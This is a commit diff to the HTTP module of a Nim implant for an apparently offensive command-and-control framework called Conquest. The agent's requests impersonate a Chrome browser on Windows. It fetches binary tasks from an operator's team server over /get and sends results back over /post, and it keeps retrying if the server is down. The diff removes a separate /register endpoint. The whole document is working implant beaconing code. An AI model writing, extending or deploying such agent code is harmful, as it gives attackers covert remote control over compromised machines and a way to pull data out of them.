Refactored utility functions to make them more readable and removed separate register endpoint.

src/agent/core/http.nim

@@ -4,32 +4,7 @@ import ../../common/[types, utils]
 
 const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
 
-proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} = 
-
-    let client = newAsyncHttpClient(userAgent = USER_AGENT)
-    
-    # Define HTTP headers
-    client.headers = newHttpHeaders({ 
-        "Content-Type": "application/octet-stream",
-        "Content-Length": $registrationData.len
-    })
-
-    let body = registrationData.toString()
-
-    try:
-        # Register agent to the Conquest server
-        discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body)    
-    
-    except CatchableError as err:
-        echo "[-] [register]:", err.msg
-        quit(0)
-
-    finally:
-        client.close()
-
-    return true
-
-proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string = 
+proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string = 
 
     let client = newAsyncHttpClient(userAgent = USER_AGENT)
     var responseBody = ""
@@ -43,40 +18,38 @@ proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
 
     try:
         # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization 
-        responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/tasks")
+        responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/get")
         return responseBody
     
     except CatchableError as err:
         # When the listener is not reachable, don't kill the application, but check in at the next time
-        echo "[-] [getTasks]: " & err.msg 
+        echo "[-] " & err.msg 
     
     finally:
         client.close()
 
     return ""
 
-proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} = 
+proc httpPost*(config: AgentConfig, data: seq[byte]): bool {.discardable.} = 
     
     let client = newAsyncHttpClient(userAgent = USER_AGENT)
 
     # Define headers
     client.headers = newHttpHeaders({ 
         "Content-Type": "application/octet-stream",
-        "Content-Length": $resultData.len
+        "Content-Length": $data.len
     })
     
-    let body = resultData.toString()
-
-    echo body
+    let body = Bytes.toString(data)
 
     try:
-        # Send binary task result data to server
-        discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body)
+        # Send post request to team server
+        discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/post", body)
     
     except CatchableError as err:
-        # When the listener is not reachable, don't kill the application, but check in at the next time
-        echo "[-] [postResults]: " & err.msg
+        echo "[-] " & err.msg 
         return false
+    
     finally:
         client.close()